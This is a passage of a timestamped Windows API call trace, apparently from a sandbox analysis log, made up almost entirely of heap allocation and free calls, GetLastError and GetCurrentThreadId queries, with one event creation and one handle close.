[0075.478] GetLastError () returned 0x0 [0075.478] GetCurrentThreadId () returned 0x9b0 [0075.478] GetLastError () returned 0x0 [0075.478] GetLastError () returned 0x0 [0075.478] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.478] CloseHandle (hObject=0x2ec) returned 1 [0075.478] GetLastError () returned 0x0 [0075.478] GetCurrentThreadId () returned 0x9b0 [0075.478] GetLastError () returned 0x0 [0075.478] GetLastError () returned 0x0 [0075.478] GetCurrentThreadId () returned 0x9b0 [0075.478] GetLastError () returned 0x0 [0075.479] GetLastError () returned 0x0 [0075.479] GetCurrentThreadId () returned 0x9b0 [0075.479] GetLastError () returned 0x0 [0075.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f9678 | out: hHeap=0x2ad0000) returned 1 [0075.479] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f3a80 | out: hHeap=0x2ad0000) returned 1 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x334b910, Size=0x7766) returned 0x334b910 [0075.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3ce) returned 0x31ceae0 [0075.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb3f) returned 0x3353080 [0075.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84320, Size=0x20) returned 0x3028300 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a192e0 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19968 [0075.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x260) returned 0x31ceeb8 [0075.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2d3) returned 0x3353bc8 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0f00 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f00, Size=0xb8) returned 0x2cde8a8 [0075.480] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde8a8, Size=0xe8) returned 0x325a7b0 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a7b0, Size=0x120) returned 0x2c375e8 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x325efd8 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325efd8, Size=0x1a8) returned 0x3028938 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c319f0 [0075.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b3) returned 0x2c2c730 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac5098 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2c9f8 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c9f8, Size=0x324) returned 0x2bab5e0 [0075.481] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab5e0, Size=0x3a4) returned 0x2ba7800 [0075.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3f6) returned 0x3353ea8 [0075.482] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7800, Size=0x434) returned 0x31d2080 [0075.482] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d2080, Size=0x4d4) returned 0x325ce68 [0075.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325ce68 | out: hHeap=0x2ad0000) returned 1 [0075.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334b910 | out: hHeap=0x2ad0000) returned 1 [0075.482] GetCurrentThreadId () returned 0x9b0 [0075.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8688 [0075.482] GetCurrentThreadId () returned 0x9b0 [0075.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.482] GetCurrentThreadId () returned 0x9b0 [0075.482] GetCurrentThreadId () returned 0x9b0 [0075.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.482] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.482] GetCurrentThreadId () returned 0x9b0 [0075.482] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183880 [0075.483] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8810 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32ddd90 [0075.484] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8810 | out: hHeap=0x2ad0000) returned 1 [0075.484] GetCurrentThreadId () returned 0x9b0 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6f90 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e75b0 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x2acd970 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028508 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdd3f8 [0075.484] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3357f78 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cdd3f8 | out: hHeap=0x2ad0000) returned 1 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32e01c0 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8688 | out: hHeap=0x2ad0000) returned 1 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31ceae0 | out: hHeap=0x2ad0000) returned 1 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.485] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183a80 [0075.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8688 [0075.485] GetCurrentThreadId () returned 0x9b0 [0075.485] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84230 [0075.486] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2ec [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32defa8 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e81f0 | out: hHeap=0x2ad0000) returned 1 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e81f0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7738 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183840 | out: hHeap=0x2ad0000) returned 1 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.486] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.486] GetCurrentThreadId () returned 0x9b0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x44) returned 0x2aca6b0 [0075.486] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32dd788 [0075.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e7ee0 | out: hHeap=0x2ad0000) returned 1 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x3355508 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6e08 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.487] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.487] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.487] GetCurrentThreadId () returned 0x9b0 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84260 | out: hHeap=0x2ad0000) returned 1 [0075.488] GetCurrentThreadId () returned 0x9b0 [0075.488] GetCurrentThreadId () returned 0x9b0 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84248, Size=0x20) returned 0x3028350 [0075.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028350, Size=0x40) returned 0x2a18e18 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.488] GetCurrentThreadId () returned 0x9b0 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84140 [0075.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843b0 | out: hHeap=0x2ad0000) returned 1 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84140 | out: hHeap=0x2ad0000) returned 1 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0075.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843c8 | out: hHeap=0x2ad0000) returned 1 [0075.488] GetCurrentThreadId () returned 0x9b0 [0075.488] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19818 [0075.489] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.489] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c840f8 [0075.489] GetCurrentThreadId () returned 0x9b0 [0075.489] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c841a0 [0075.489] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c841a0 | out: hHeap=0x2ad0000) returned 1 [0075.489] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3226c50 [0075.489] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3226c50 | out: hHeap=0x2ad0000) returned 1 [0075.489] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028260 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.489] GetLastError () returned 0x0 [0075.490] GetLastError () returned 0x0 [0075.490] GetCurrentThreadId () returned 0x9b0 [0075.490] GetLastError () returned 0x0 [0075.490] GetLastError () returned 0x0 [0075.490] GetLastError () returned 0x0 [0075.490] GetLastError () returned 0x0 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.490] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0xa0) returned 0x334c460 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c840f8 | out: hHeap=0x2ad0000) returned 1 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30283f0 | out: hHeap=0x2ad0000) returned 1 [0075.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbe0 [0075.490] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba60 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abbe0 | out: hHeap=0x2ad0000) returned 1 [0075.490] GetCurrentThreadId () returned 0x9b0 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e6e08 | out: hHeap=0x2ad0000) returned 1 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.490] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84320 | out: hHeap=0x2ad0000) returned 1 [0075.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c460 | out: hHeap=0x2ad0000) returned 1 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8810 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c841a0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.491] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843e0 | out: hHeap=0x2ad0000) returned 1 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.491] GetCurrentThreadId () returned 0x9b0 [0075.491] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84260 | out: hHeap=0x2ad0000) returned 1 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.492] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x3028490 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.492] GetCurrentThreadId () returned 0x9b0 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843b0 | out: hHeap=0x2ad0000) returned 1 [0075.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.493] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a19250 [0075.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.493] GetCurrentThreadId () returned 0x9b0 [0075.493] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a195e8 [0075.493] GetCurrentThreadId () returned 0x9b0 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.493] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.493] GetCurrentThreadId () returned 0x9b0 [0075.493] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ac0b70 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.493] GetCurrentThreadId () returned 0x9b0 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.493] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.494] GetCurrentThreadId () returned 0x9b0 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.494] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x2cde368 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c843b0 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.494] GetCurrentThreadId () returned 0x9b0 [0075.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.494] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba30 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84320 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84290 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8810 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c841a0 | out: hHeap=0x2ad0000) returned 1 [0075.494] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84188 | out: hHeap=0x2ad0000) returned 1 [0075.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84278 | out: hHeap=0x2ad0000) returned 1 [0075.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84260 | out: hHeap=0x2ad0000) returned 1 [0075.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cde368 | out: hHeap=0x2ad0000) returned 1 [0075.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7ee0 [0075.495] GetCurrentThreadId () returned 0x9b0 [0075.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8810 [0075.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32df5b0 [0075.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32e8810 | out: hHeap=0x2ad0000) returned 1 [0075.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8810 [0075.495] GetCurrentThreadId () returned 0x9b0 [0075.495] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.495] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.495] GetCurrentThreadId () returned 0x9b0 [0075.495] GetCurrentThreadId () returned 0x9b0 [0075.496] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aca6b0, Size=0x68) returned 0x325b1f8 [0075.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x335f2e8 [0075.497] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32dd788 | out: hHeap=0x2ad0000) returned 1 [0075.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183920 [0075.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.497] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb80 [0075.497] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x3183900 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb80 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84338 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183900 | out: hHeap=0x2ad0000) returned 1 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028558 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.498] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abbc0 [0075.498] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba80, Size=0x14) returned 0x3183900 [0075.498] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abbc0 | out: hHeap=0x2ad0000) returned 1 [0075.498] 